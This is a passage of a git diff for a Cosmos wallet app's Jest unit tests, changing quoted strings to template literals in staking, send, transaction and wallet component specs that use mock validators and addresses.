`cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctqzh8yqw`, owner: `cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctqzh8yqw`, pub_key: { - type: "AC26791624DE60", - data: "t3zVnKU42WNH+NtYFcstZRLFVULWV8VagoP0HwW43Pk=" + type: `AC26791624DE60`, + data: `t3zVnKU42WNH+NtYFcstZRLFVULWV8VagoP0HwW43Pk=` }, revoked: false, - tokens: "14", - delegator_shares: "14", + tokens: `14`, + delegator_shares: `14`, description: { - website: "www.monty.ca", - details: "Mr Mounty", - moniker: "mr_mounty", - country: "Canada" + website: `www.monty.ca`, + details: `Mr Mounty`, + moniker: `mr_mounty`, + country: `Canada` }, status: 2, - bond_height: "0", + bond_height: `0`, bond_intra_tx_counter: 6, proposer_reward_pool: null, - commission: "0", - commission_max: "0", - commission_change_rate: "0", - commission_change_today: "0", - prev_bonded_shares: "0" + commission: `0`, + commission_max: `0`, + commission_change_rate: `0`, + commission_change_today: `0`, + prev_bonded_shares: `0` }, { id: `cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctplpn3au`, owner: `cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctplpn3au`, pub_key: { - type: "AC26791624DE60", - data: "9M4oaDArXKVU5ffqjq2TkynTCMJlyLzpzZLNjHtqM+w=" + type: `AC26791624DE60`, + data: `9M4oaDArXKVU5ffqjq2TkynTCMJlyLzpzZLNjHtqM+w=` }, - tokens: "0", - delegator_shares: "0", + tokens: `0`, + delegator_shares: `0`, description: { - website: "www.greg.com", - details: "Good Guy Greg", - moniker: "good_greg", - country: "USA" + website: `www.greg.com`, + details: `Good Guy Greg`, + moniker: `good_greg`, + country: `USA` }, status: 2, - bond_height: "0", + bond_height: `0`, bond_intra_tx_counter: 6, proposer_reward_pool: null, - commission: "0", - commission_max: "0", - commission_change_rate: "0", - commission_change_today: "0", - prev_bonded_shares: "0" + commission: `0`, + commission_max: `0`, + commission_change_rate: `0`, + commission_change_today: `0`, + prev_bonded_shares: `0` }, { id: `cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctgurrg7n`, owner: `cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctgurrg7n`, pub_key: { - type: "AC26791624DE60", - data: "dlN5SLqeT3LT9WsUK5iuVq1eLQV2Q1JQAuyN0VwSWK0=" + type: `AC26791624DE60`, + data: `dlN5SLqeT3LT9WsUK5iuVq1eLQV2Q1JQAuyN0VwSWK0=` }, - tokens: "19", - delegator_shares: "19", + tokens: `19`, + delegator_shares: `19`, description: { - details: "Herr Schmidt", - website: "www.schmidt.de", - moniker: "herr_schmidt_revoked", - country: "DE" + details: `Herr Schmidt`, + website: `www.schmidt.de`, + moniker: `herr_schmidt_revoked`, + country: `DE` }, revoked: true, status: 2, - bond_height: "0", + bond_height: `0`, bond_intra_tx_counter: 6, proposer_reward_pool: null, - commission: "0", - commission_max: "0", - commission_change_rate: "0", - commission_change_today: "0", - prev_bonded_shares: "0" + commission: `0`, + commission_max: `0`, + commission_change_rate: `0`, + commission_change_today: `0`, + prev_bonded_shares: `0` } ] @@ -92,29 +92,29 @@ test(`unstakedValidators`, () => { }) ).toEqual([ { - bond_height: "0", + bond_height: `0`, bond_intra_tx_counter: 6, - commission: "0", - commission_change_rate: "0", - commission_change_today: "0", - commission_max: "0", - delegator_shares: "0", + commission: `0`, + commission_change_rate: `0`, + commission_change_today: `0`, + commission_max: `0`, + delegator_shares: `0`, description: { - country: "USA", - details: "Good Guy Greg", - moniker: "good_greg", - website: "www.greg.com" + country: `USA`, + details: `Good Guy Greg`, + moniker: `good_greg`, + website: `www.greg.com` }, - id: "cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctplpn3au", - owner: "cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctplpn3au", - prev_bonded_shares: "0", + id: `cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctplpn3au`, + owner: `cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctplpn3au`, + prev_bonded_shares: `0`, proposer_reward_pool: null, pub_key: { - data: "9M4oaDArXKVU5ffqjq2TkynTCMJlyLzpzZLNjHtqM+w=", - type: "AC26791624DE60" + data: `9M4oaDArXKVU5ffqjq2TkynTCMJlyLzpzZLNjHtqM+w=`, + type: `AC26791624DE60` }, status: 2, - tokens: "0" + tokens: `0` } ]) }) @@ -129,29 +129,29 @@ test(`yourValidators`, () => { }) ).toEqual([ { - bond_height: "0", + bond_height: `0`, bond_intra_tx_counter: 6, - commission: "0", - commission_change_rate: "0", - commission_change_today: "0", - commission_max: "0", - delegator_shares: "0", + commission: `0`, + commission_change_rate: `0`, + commission_change_today: `0`, + commission_max: `0`, + delegator_shares: `0`, description: { - country: "USA", - details: "Good Guy Greg", - moniker: "good_greg", - website: "www.greg.com" + country: `USA`, + details: `Good Guy Greg`, + moniker: `good_greg`, + website: `www.greg.com` }, - id: "cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctplpn3au", - owner: "cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctplpn3au", - prev_bonded_shares: "0", + id: `cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctplpn3au`, + owner: `cosmosvaladdr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctplpn3au`, + prev_bonded_shares: `0`, proposer_reward_pool: null, pub_key: { - data: "9M4oaDArXKVU5ffqjq2TkynTCMJlyLzpzZLNjHtqM+w=", - type: "AC26791624DE60" + data: `9M4oaDArXKVU5ffqjq2TkynTCMJlyLzpzZLNjHtqM+w=`, + type: `AC26791624DE60` }, status: 2, - tokens: "0" + tokens: `0` } ]) }) diff --git a/test/unit/specs/components/staking/TabValidators.spec.js b/test/unit/specs/components/staking/TabValidators.spec.js index e5c0e2aa08..e5f1842f17 100644 --- a/test/unit/specs/components/staking/TabValidators.spec.js +++ b/test/unit/specs/components/staking/TabValidators.spec.js @@ -3,7 +3,7 @@ import htmlBeautify from "html-beautify" import TabValidators from "renderer/components/staking/TabValidators" import lcdClientMock from "renderer/connectors/lcdClientMock.js" -describe("PageStaking", () => { +describe(`PageStaking`, () => { let wrapper, store let { mount } = setup() @@ -12,13 +12,13 @@ describe("PageStaking", () => { wrapper = instance.wrapper store = instance.store - store.commit("setConnected", true) + store.commit(`setConnected`, true) store.state.user.address = lcdClientMock.addresses[0] - store.commit("setAtoms", 1337) + store.commit(`setAtoms`, 1337) wrapper.update() }) - it("has the expected html structure", async () => { + it(`has the expected html structure`, async () => { // after importing the @tendermint/ui components from modules // the perfect scroll plugin needs a $nextTick and a wrapper.update // to work properly in the tests (snapshots weren't matching) @@ -28,26 +28,26 @@ describe("PageStaking", () => { expect(htmlBeautify(wrapper.html())).toMatchSnapshot() }) - it("should sort the delegates by selected property", () => { - wrapper.vm.sort.property = "owner" - wrapper.vm.sort.order = "desc" + it(`should sort the delegates by selected property`, () => { + wrapper.vm.sort.property = `owner` + wrapper.vm.sort.order = `desc` expect( wrapper.vm.sortedFilteredEnrichedDelegates.map(x => x.owner) ).toEqual(lcdClientMock.validators) - wrapper.vm.sort.property = "owner" - wrapper.vm.sort.order = "asc" + wrapper.vm.sort.property = `owner` + wrapper.vm.sort.order = `asc` expect( wrapper.vm.sortedFilteredEnrichedDelegates.map(x => x.owner) ).toEqual(lcdClientMock.validators.reverse()) }) - it("should filter the delegates", () => { - store.commit("setSearchVisible", ["delegates", true]) - store.commit("setSearchQuery", [ - "delegates", + it(`should filter the delegates`, () => { + store.commit(`setSearchVisible`, [`delegates`, true]) + store.commit(`setSearchQuery`, [ + `delegates`, lcdClientMock.validators[2].substr(20, 26) ]) expect( @@ -55,8 +55,8 @@ describe("PageStaking", () => { ).toEqual([lcdClientMock.validators[2]]) wrapper.update() expect(wrapper.vm.$el).toMatchSnapshot() - store.commit("setSearchQuery", [ - "delegates", + store.commit(`setSearchQuery`, [ + `delegates`, lcdClientMock.validators[1].substr(20, 26) ]) expect( @@ -64,17 +64,17 @@ describe("PageStaking", () => { ).toEqual([lcdClientMock.validators[1]]) }) - it("should update 'somethingToSearch' when there's nothing to search", () => { + it(`should update 'somethingToSearch' when there's nothing to search`, () => { expect(wrapper.vm.somethingToSearch).toBe(true) let delegates = store.state.delegates.delegates - store.commit("setDelegates", []) + store.commit(`setDelegates`, []) expect(wrapper.vm.somethingToSearch).toBe(false) - store.commit("setDelegates", delegates) + store.commit(`setDelegates`, delegates) expect(wrapper.vm.somethingToSearch).toBe(true) }) - it("should show placeholder if delegates are loading", () => { + it(`should show placeholder if delegates are loading`, () => { let { wrapper } = mount(TabValidators, { getters: { delegates: () => ({ @@ -82,14 +82,14 @@ describe("PageStaking", () => { loading: true }) }, - stubs: { "tm-data-loading": "" } + stubs: { "tm-data-loading": `` } }) console.log(htmlBeautify(wrapper.html())) - expect(wrapper.contains("data-loading")).toBe(true) + expect(wrapper.contains(`data-loading`)).toBe(true) }) - it("should not show search when there is nothing to search", () => { + it(`should not show search when there is nothing to search`, () => { let { wrapper } = mount(TabValidators, { getters: { delegates: () => ({ @@ -97,7 +97,7 @@ describe("PageStaking", () => { loading: true }) }, - stubs: { "tm-data-loading": "" } + stubs: { "tm-data-loading": `` } }) wrapper.update() diff --git a/test/unit/specs/components/wallet/PageSend.spec.js b/test/unit/specs/components/wallet/PageSend.spec.js index fc835bc311..7f31a9b0cc 100644 --- a/test/unit/specs/components/wallet/PageSend.spec.js +++ b/test/unit/specs/components/wallet/PageSend.spec.js @@ -2,19 +2,19 @@ import setup from "../../../helpers/vuex-setup" import Vuelidate from "vuelidate" import PageSend from "renderer/components/wallet/PageSend" -describe("PageSend", () => { +describe(`PageSend`, () => { let wrapper, store, node - const name = "default" - const password = "1234567890" - const address = "tb1mjt6dcdru8lgdz64h2fu0lrzvd5zv8sfcvkv2l" + const name = `default` + const password = `1234567890` + const address = `tb1mjt6dcdru8lgdz64h2fu0lrzvd5zv8sfcvkv2l` const coins = [ { - denom: "mycoin", + denom: `mycoin`, amount: 1000 }, { - denom: "fermion", + denom: `fermion`, amount: 2300 } ] @@ -25,29 +25,29 @@ describe("PageSend", () => { beforeEach(async () => { let test = mount(PageSend, { propsData: { - denom: "fermion" + denom: `fermion` } }) wrapper = test.wrapper store = test.store node = test.node - store.commit("setAccounts", [ + store.commit(`setAccounts`, [ { address, name, password } ]) - store.commit("setConnected", true) - await store.dispatch("signIn", { + store.commit(`setConnected`, true) + await store.dispatch(`signIn`, { account: name, password }) - store.commit("setWalletBalances", coins) - store.commit("setNonce", "1") + store.commit(`setWalletBalances`, coins) + store.commit(`setNonce`, `1`) }) - it("has the expected html structure", async () => { + it(`has the expected html structure`, async () => { // after importing the @tendermint/ui components from modules // the perfect scroll plugin needs a $nextTick and a wrapper.update // to work properly in the tests (snapshots weren't matching) @@ -57,61 +57,61 @@ describe("PageSend", () => { expect(wrapper.vm.$el).toMatchSnapshot() }) - it("should populate the select options with denoms", () => { + it(`should populate the select options with denoms`, () => { wrapper.update() expect( wrapper - .findAll("option") + .findAll(`option`) .at(0) .text() - ).toBe("Select token...") + ).toBe(`Select token...`) expect( wrapper - .findAll("option") + .findAll(`option`) .at(1) .text() ).toBe(coins[0].denom.toUpperCase()) expect( wrapper - .findAll("option") + .findAll(`option`) .at(2) .text() ).toBe(coins[1].denom.toUpperCase()) }) - it("should populate the select options with networks", () => { + it(`should populate the select options with networks`, () => { wrapper.update() expect( wrapper - .findAll("option") + .findAll(`option`) .at(3) .text() - ).toBe("Select zone...") + ).toBe(`Select zone...`) expect( wrapper - .findAll("option") + .findAll(`option`) .at(4) .text() - ).toBe("basecoind-demo1") + ).toBe(`basecoind-demo1`) }) - it("should work without providing a default denom", () => { + it(`should work without providing a default denom`, () => { let { wrapper, store } = mount(PageSend) - store.commit("setConnected", true) + store.commit(`setConnected`, true) wrapper.update() expect(wrapper.vm.$el).toMatchSnapshot() }) - it("should show address required error", async () => { + it(`should show address required error`, async () => { let { wrapper, store } = mount(PageSend) - store.commit("setConnected", true) + store.commit(`setConnected`, true) wrapper.setData({ fields: { - denom: "mycoin", - address: "", + denom: `mycoin`, + address: ``, amount: 2, - zoneId: "cosmos-hub-1" + zoneId: `cosmos-hub-1` } }) wrapper.vm.onSubmit() @@ -119,15 +119,15 @@ describe("PageSend", () => { expect(wrapper.vm.$v.$error).toBe(true) expect(wrapper.vm.$el).toMatchSnapshot() }) - it("should show bech32 error when address length is too short", async () => { + it(`should show bech32 error when address length is too short`, async () => { let { wrapper, store } = mount(PageSend) - store.commit("setConnected", true) + store.commit(`setConnected`, true) wrapper.setData({ fields: { - denom: "mycoin", - address: "asdf", + denom: `mycoin`, + address: `asdf`, amount: 2, - zoneId: "cosmos-hub-1" + zoneId: `cosmos-hub-1` } }) wrapper.vm.onSubmit() @@ -135,30 +135,30 @@ describe("PageSend", () => { expect(wrapper.vm.$el).toMatchSnapshot() }) - it("should show bech32 error when address length is too long", async () => { + it(`should show bech32 error when address length is too long`, async () => { let { wrapper, store } = mount(PageSend) - store.commit("setConnected", true) + store.commit(`setConnected`, true) wrapper.setData({ fields: { - denom: "mycoin", - address: "asdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdf", + denom: `mycoin`, + address: `asdfasdfasdfasdfasdfasdfasdfasdfasdfasdfasdf`, amount: 2, - zoneId: "cosmos-hub-1" + zoneId: `cosmos-hub-1` } }) wrapper.vm.onSubmit() wrapper.update() expect(wrapper.vm.$el).toMatchSnapshot() }) - it("should show bech32 error when alphanumeric is wrong", async () => { + it(`should show bech32 error when alphanumeric is wrong`, async () => { let { wrapper, store } = mount(PageSend) - store.commit("setConnected", true) + store.commit(`setConnected`, true) wrapper.setData({ fields: { - denom: "mycoin", - address: "!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$", + denom: `mycoin`, + address: `!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$!@#$`, amount: 2, - zoneId: "cosmos-hub-1" + zoneId: `cosmos-hub-1` } }) wrapper.vm.onSubmit() @@ -166,20 +166,20 @@ describe("PageSend", () => { expect(wrapper.vm.$el).toMatchSnapshot() }) - it("should trigger confirmation modal if form is corect", async () => { + it(`should trigger confirmation modal if form is corect`, async () => { let { wrapper, store } = mount(PageSend, { propsData: { - denom: "mycoin" + denom: `mycoin` } }) - store.commit("setConnected", true) - store.commit("setWalletBalances", coins) + store.commit(`setConnected`, true) + store.commit(`setWalletBalances`, coins) wrapper.setData({ fields: { - denom: "mycoin", + denom: `mycoin`, address, amount: 2, - zoneId: "cosmos-hub-1" + zoneId: `cosmos-hub-1` } }) wrapper.vm.onSubmit() @@ -188,67 +188,67 @@ describe("PageSend", () => { expect(wrapper.vm.$el).toMatchSnapshot() }) - it("should close confirmation modal on cancel", async () => { + it(`should close confirmation modal on cancel`, async () => { wrapper.vm.onCancel() expect(wrapper.vm.confirmationPending).toBe(false) }) - it("should show notification for successful send", async () => { + it(`should show notification for successful send`, async () => { wrapper.setData({ fields: { - denom: "mycoin", + denom: `mycoin`, address, amount: 2, - zoneId: "cosmos-hub-1" + zoneId: `cosmos-hub-1` } }) await wrapper.vm.onApproved() // walletSend is async so we need to wait until it is resolved - expect(store.commit).toHaveBeenCalledWith("notify", expect.any(Object)) + expect(store.commit).toHaveBeenCalledWith(`notify`, expect.any(Object)) }) - it("should show notification for unsuccessful send", async () => { + it(`should show notification for unsuccessful send`, async () => { wrapper.setData({ fields: { - denom: "notmycoin", + denom: `notmycoin`, address, amount: 2, - zoneId: "cosmos-hub-1" + zoneId: `cosmos-hub-1` } }) node.sign = () => Promise.reject() await wrapper.vm.onApproved() expect(store.state.notifications.length).toBe(1) - expect(store.state.notifications[0].title).toBe("Error Sending") + expect(store.state.notifications[0].title).toBe(`Error Sending`) expect(store.state.notifications[0]).toMatchSnapshot() }) - it("validates bech32 addresses", () => { + it(`validates bech32 addresses`, () => { expect( wrapper.vm.bech32Validate( - "cosmosaccaddr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctpesxxn9" + `cosmosaccaddr15ky9du8a2wlstz6fpx3p4mqpjyrm5ctpesxxn9` ) ).toBe(true) expect( wrapper.vm.bech32Validate( - "cosmosaccaddr15ky9du8a2wlstz6fpx3p4mqprm5ctpesxxn9" + `cosmosaccaddr15ky9du8a2wlstz6fpx3p4mqprm5ctpesxxn9` ) ).toBe(false) }) - it("disables sending if not connected", async () => { + it(`disables sending if not connected`, async () => { wrapper.setData({ fields: { - denom: "mycoin", + denom: `mycoin`, address, amount: 2, - zoneId: "cosmos-hub-1" + zoneId: `cosmos-hub-1` } }) - expect(wrapper.find("#send-btn").exists()).toBe(true) - store.commit("setConnected", false) + expect(wrapper.find(`#send-btn`).exists()).toBe(true) + store.commit(`setConnected`, false) wrapper.update() - expect(wrapper.find("#send-btn").exists()).toBe(false) + expect(wrapper.find(`#send-btn`).exists()).toBe(false) expect(wrapper.vm.$el).toMatchSnapshot() }) }) diff --git a/test/unit/specs/components/wallet/PageTransactions.spec.js b/test/unit/specs/components/wallet/PageTransactions.spec.js index afb69d7734..b681244ec5 100644 --- a/test/unit/specs/components/wallet/PageTransactions.spec.js +++ b/test/unit/specs/components/wallet/PageTransactions.spec.js @@ -9,20 +9,20 @@ let stakingTxs = [ value: { msg: [ { - type: "cosmos-sdk/MsgDelegate", + type: `cosmos-sdk/MsgDelegate`, value: { validator_addr: lcdclientMock.validators[0], delegator_addr: lcdclientMock.addresses[0], delegation: { - amount: "24", - denom: "steak" + amount: `24`, + denom: `steak` } } } ] } }, - hash: "A7C6DE5CB923AF08E6088F1348047F16BABB9F48", + hash: `A7C6DE5CB923AF08E6088F1348047F16BABB9F48`, height: 160 }, { @@ -30,30 +30,30 @@ let stakingTxs = [ value: { msg: [ { - type: "cosmos-sdk/BeginUnbonding", + type: `cosmos-sdk/BeginUnbonding`, value: { validator_addr: lcdclientMock.validators[0], delegator_addr: lcdclientMock.addresses[0], - shares: "5" + shares: `5` } } ] } }, - hash: "A7C6FDE5CA923AF08E6088F1348047F16BABB9F48", + hash: `A7C6FDE5CA923AF08E6088F1348047F16BABB9F48`, height: 170 } ] -describe("PageTransactions", () => { +describe(`PageTransactions`, () => { let wrapper, store let { mount } = setup() beforeEach(async () => { let instance = mount(PageTransactions, { stubs: { - "tm-li-any-transaction": "", - "tm-li-staking-transaction": "", - "data-empty-tx": "" + "tm-li-any-transaction": ``, + "tm-li-staking-transaction": ``, + "data-empty-tx": `` }, methods: { refreshTransactions: jest.fn() @@ -62,14 +62,14 @@ describe("PageTransactions", () => { wrapper = instance.wrapper store = instance.store - store.commit("setConnected", true) - store.commit("setWalletAddress", "tb1d4u5zerywfjhxuc9nudvw") - store.commit("setWalletTxs", mockTransactions) - store.commit("setStakingTxs", stakingTxs) + store.commit(`setConnected`, true) + store.commit(`setWalletAddress`, `tb1d4u5zerywfjhxuc9nudvw`) + store.commit(`setWalletTxs`, mockTransactions) + store.commit(`setStakingTxs`, stakingTxs) wrapper.update() }) - it("has the expected html structure", async () => { + it(`has the expected html structure`, async () => { // after importing the @tendermint/ui components from modules // the perfect scroll plugin needs a $nextTick and a wrapper.update // to work properly in the tests (snapshots weren't matching) @@ -79,29 +79,29 @@ describe("PageTransactions", () => { expect(wrapper.vm.$el).toMatchSnapshot() }) - it("should show the search on click", () => { + it(`should show the search on click`, () => { wrapper - .findAll(".tm-tool-bar i") + .findAll(`.tm-tool-bar i`) .at(2) - .trigger("click") + .trigger(`click`) wrapper.update() - expect(wrapper.contains(".tm-modal-search")).toBe(true) + expect(wrapper.contains(`.tm-modal-search`)).toBe(true) }) - it("should refresh the transaction history", () => { + it(`should refresh the transaction history`, () => { wrapper.vm.refreshTransactions = jest.fn() wrapper - .findAll(".tm-tool-bar i") + .findAll(`.tm-tool-bar i`) .at(1) - .trigger("click") + .trigger(`click`) expect(wrapper.vm.refreshTransactions).toHaveBeenCalled() }) - it("should show transactions", () => { - expect(wrapper.findAll("tm-li-any-transaction").length).toBe(5) + it(`should show transactions`, () => { + expect(wrapper.findAll(`tm-li-any-transaction`).length).toBe(5) }) - it("should sort the transaction by time", () => { + it(`should sort the transaction by time`, () => { expect(wrapper.vm.filteredTransactions.map(x => x.height)).toEqual([ 3438, 3436, @@ -111,56 +111,56 @@ describe("PageTransactions", () => { ]) }) - it("should filter the transactions", () => { - store.commit("setSearchVisible", ["transactions", true]) - store.commit("setSearchQuery", ["transactions", "fabo"]) + it(`should filter the transactions`, () => { + store.commit(`setSearchVisible`, [`transactions`, true]) + store.commit(`setSearchQuery`, [`transactions`, `fabo`]) wrapper.update() expect(wrapper.vm.filteredTransactions.map(x => x.height)).toEqual([466]) // reflects the filter in the view expect(wrapper.vm.$el).toMatchSnapshot() - store.commit("setSearchQuery", ["transactions", "mattc"]) + store.commit(`setSearchQuery`, [`transactions`, `mattc`]) expect(wrapper.vm.filteredTransactions.map(x => x.height)).toEqual([466]) }) - it("should update 'somethingToSearch' when there's nothing to search", () => { + it(`should update 'somethingToSearch' when there's nothing to search`, () => { expect(wrapper.vm.somethingToSearch).toBe(true) - store.commit("setWalletTxs", []) - store.commit("setStakingTxs", []) + store.commit(`setWalletTxs`, []) + store.commit(`setStakingTxs`, []) expect(wrapper.vm.somethingToSearch).toBe(false) - store.commit("setWalletTxs", mockTransactions) + store.commit(`setWalletTxs`, mockTransactions) expect(wrapper.vm.somethingToSearch).toBe(true) - store.commit("setHistoryLoading", true) + store.commit(`setHistoryLoading`, true) expect(wrapper.vm.somethingToSearch).toBe(false) }) - it("should show an error if there are no transactions", () => { - store.commit("setWalletTxs", []) - store.commit("setStakingTxs", []) + it(`should show an error if there are no transactions`, () => { + store.commit(`setWalletTxs`, []) + store.commit(`setStakingTxs`, []) wrapper.update() - expect(wrapper.contains("data-empty-tx")).toBe(true) + expect(wrapper.contains(`data-empty-tx`)).toBe(true) }) - it("should not show search when there is nothing to search", () => { + it(`should not show search when there is nothing to search`, () => { mount(PageTransactions, { stubs: { - "tm-li-transaction": "", - "data-empty-tx": "" + "tm-li-transaction": ``, + "data-empty-tx": `` } }) - store.commit("setWalletTxs", []) - store.commit("setStakingTxs", []) + store.commit(`setWalletTxs`, []) + store.commit(`setStakingTxs`, []) wrapper.update() expect(wrapper.vm.setSearch()).toEqual(false) }) - it("triggers end unbondings", async () => { + it(`triggers end unbondings`, async () => { let tx = { tx: { value: { msg: [ { value: { - validator_addr: "abc" + validator_addr: `abc` } } ] @@ -169,6 +169,6 @@ describe("PageTransactions", () => { } store._actions.endUnbonding = [jest.fn(() => {})] await wrapper.vm.endUnbonding(tx) - expect(store._actions.endUnbonding[0]).toHaveBeenCalledWith("abc") + expect(store._actions.endUnbonding[0]).toHaveBeenCalledWith(`abc`) }) }) diff --git a/test/unit/specs/components/wallet/PageWallet.spec.js b/test/unit/specs/components/wallet/PageWallet.spec.js index eaa489ab6c..e6e8a027d7 100644 --- a/test/unit/specs/components/wallet/PageWallet.spec.js +++ b/test/unit/specs/components/wallet/PageWallet.spec.js @@ -1,27 +1,27 @@ import setup from "../../../helpers/vuex-setup" import PageWallet from "renderer/components/wallet/PageWallet" -describe("PageWallet", () => { +describe(`PageWallet`, () => { let wrapper, store let { mount } = setup() beforeEach(async () => { let instance = mount(PageWallet, { - stubs: { "modal-search": "" } + stubs: { "modal-search": `` } }) wrapper = instance.wrapper store = instance.store - await store.dispatch("signIn", { - account: "default", - password: "1234567890" + await store.dispatch(`signIn`, { + account: `default`, + password: `1234567890` }) - store.commit("setConnected", true) - store.commit("setSearchQuery", ["balances", ""]) + store.commit(`setConnected`, true) + store.commit(`setSearchQuery`, [`balances`, ``]) wrapper.update() }) - it("has the expected html structure", async () => { + it(`has the expected html structure`, async () => { // after importing the @tendermint/ui components from modules // the perfect scroll plugin needs a $nextTick and a wrapper.update // to work properly in the tests (snapshots weren't matching) @@ -31,76 +31,76 @@ describe("PageWallet", () => { expect(wrapper.vm.$el).toMatchSnapshot() }) - it("should sort the balances by denom", () => { + it(`should sort the balances by denom`, () => { expect(wrapper.vm.filteredBalances.map(x => x.denom)).toEqual([ - "fermion", - "mycoin", - "steak" + `fermion`, + `mycoin`, + `steak` ]) }) - it("should filter the balances", async () => { - store.commit("setSearchVisible", ["balances", true]) - store.commit("setSearchQuery", ["balances", "steak"]) + it(`should filter the balances`, async () => { + store.commit(`setSearchVisible`, [`balances`, true]) + store.commit(`setSearchQuery`, [`balances`, `steak`]) // after importing the @tendermint/ui components from modules // the perfect scroll plugin needs a $nextTick and a wrapper.update // to work properly in the tests (snapshots weren't matching) // this has occured across multiple tests await wrapper.vm.$nextTick() wrapper.update() - expect(wrapper.vm.filteredBalances.map(x => x.denom)).toEqual(["steak"]) + expect(wrapper.vm.filteredBalances.map(x => x.denom)).toEqual([`steak`]) expect(wrapper.vm.$el).toMatchSnapshot() }) - it("should update balances by querying wallet state", () => { + it(`should update balances by querying wallet state`, () => { wrapper.vm.updateBalances() - expect(store.dispatch).toHaveBeenCalledWith("queryWalletState") + expect(store.dispatch).toHaveBeenCalledWith(`queryWalletState`) }) - it("should show the search on click", () => { + it(`should show the search on click`, () => { wrapper.vm.setSearch(true) - expect(store.commit).toHaveBeenCalledWith("setSearchVisible", [ - "balances", + expect(store.commit).toHaveBeenCalledWith(`setSearchVisible`, [ + `balances`, true ]) }) - it("should list the denoms that are available", () => { - expect(wrapper.findAll(".tm-li-balance").length).toBe(3) + it(`should list the denoms that are available`, () => { + expect(wrapper.findAll(`.tm-li-balance`).length).toBe(3) }) - it("should show the n/a message if there are no denoms", () => { + it(`should show the n/a message if there are no denoms`, () => { let { store, wrapper } = mount(PageWallet) - store.commit("setWalletBalances", []) + store.commit(`setWalletBalances`, []) wrapper.update() - expect(wrapper.find("#account_empty_msg").exists()).toBeTruthy() + expect(wrapper.find(`#account_empty_msg`).exists()).toBeTruthy() }) - it("should not show the n/a message if there are denoms", () => { + it(`should not show the n/a message if there are denoms`, () => { wrapper.update() expect(wrapper.vm.allDenomBalances.length).not.toBe(0) - expect(wrapper.vm.$el.querySelector("#no-balances")).toBe(null) + expect(wrapper.vm.$el.querySelector(`#no-balances`)).toBe(null) }) - it("has a title for available balances", () => { + it(`has a title for available balances`, () => { expect( wrapper - .find("#part-available-balances .tm-part-title") + .find(`#part-available-balances .tm-part-title`) .text() .trim() - ).toBe("Available Balances") + ).toBe(`Available Balances`) }) - it("has a title for staked balances", () => { + it(`has a title for staked balances`, () => { expect( wrapper - .find("#part-staked-balances .tm-part-title") + .find(`#part-staked-balances .tm-part-title`) .text() .trim() - ).toBe("Staked Balances") + ).toBe(`Staked Balances`) }) - it("has shows the correct number of staked tokens", async () => { + it(`has shows the correct number of staked tokens`, async () => { // after importing the @tendermint/ui components from modules // the perfect scroll plugin needs a $nextTick and a wrapper.update // to work properly in the tests (snapshots weren't matching) @@ -113,30 +113,30 @@ describe("PageWallet", () => { expect( parseFloat( wrapper - .find("#part-staked-balances .tm-li-dd") + .find(`#part-staked-balances .tm-li-dd`) .text() .trim() ) ).toBe(14) }) - it("should update 'somethingToSearch' when there's nothing to search", () => { + it(`should update 'somethingToSearch' when there's nothing to search`, () => { expect(wrapper.vm.somethingToSearch).toBe(true) - store.commit("setWalletBalances", []) + store.commit(`setWalletBalances`, []) expect(wrapper.vm.somethingToSearch).toBe(false) }) - it("should not show search when there's nothing to search", () => { - store.commit("setWalletBalances", []) + it(`should not show search when there's nothing to search`, () => { + store.commit(`setWalletBalances`, []) wrapper.update() expect(wrapper.vm.setSearch()).toEqual(false) }) - it("has a number of staked tokens", () => { + it(`has a number of staked tokens`, () => { expect(wrapper.vm.stakedTokens).toBe(14) }) - it("has a label for the staking denomination", () => { - expect(wrapper.vm.stakingDenom).toBe("Steak") + it(`has a label for the staking denomination`, () => { + expect(wrapper.vm.stakingDenom).toBe(`Steak`) }) }) diff --git a/test/unit/specs/components/wallet/TmModalSendConfirmation.spec.js b/test/unit/specs/components/wallet/TmModalSendConfirmation.spec.js index 47b6e8c383..4bf2416dd1 100644 --- a/test/unit/specs/components/wallet/TmModalSendConfirmation.spec.js +++ b/test/unit/specs/components/wallet/TmModalSendConfirmation.spec.js @@ -1,37 +1,37 @@ import { mount } from "@vue/test-utils" import TmModalSendConfirmation from "renderer/components/wallet/TmModalSendConfirmation" -describe("TmModalSendConfirmation", () => { +describe(`TmModalSendConfirmation`, () => { let wrapper let propsData = { amount: 12345, - denom: "funkycoin", - recipient: "cosmosacc1tb1d4u5zerywfjhxuc9nudvw" + denom: `funkycoin`, + recipient: `cosmosacc1tb1d4u5zerywfjhxuc9nudvw` } beforeEach(() => { wrapper = mount(TmModalSendConfirmation, { propsData }) }) - it("has the expected html structure", () => { + it(`has the expected html structure`, () => { expect(wrapper.vm.$el).toMatchSnapshot() }) - it("shows the data", () => { + it(`shows the data`, () => { expect(wrapper.vm.$el.outerHTML).toContain(propsData.amount) expect(wrapper.vm.$el.outerHTML).toContain(propsData.denom) expect(wrapper.vm.$el.outerHTML).toContain(propsData.recipient) }) - it("emits an approval event", () => { - let spy = jest.spyOn(wrapper.vm, "$emit") - wrapper.vm.$el.querySelector("#send-confirmation-btn").click() - expect(spy).toHaveBeenCalledWith("approved") + it(`emits an approval event`, () => { + let spy = jest.spyOn(wrapper.vm, `$emit`) + wrapper.vm.$el.querySelector(`#send-confirmation-btn`).click() + expect(spy).toHaveBeenCalledWith(`approved`) }) - it("emits an canceled event", () => { - let spy = jest.spyOn(wrapper.vm, "$emit") - wrapper.vm.$el.querySelector("#send-cancel-btn").click() - expect(spy).toHaveBeenCalledWith("canceled") + 